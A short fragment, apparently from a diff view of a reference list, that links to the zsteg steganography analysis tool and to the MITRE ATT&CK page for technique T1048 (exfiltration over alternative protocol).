- zsteg: https://github.com/zed-0xff/zsteg
|
|
293
|
+
- MITRE T1048: https://attack.mitre.org/techniques/T1048/
|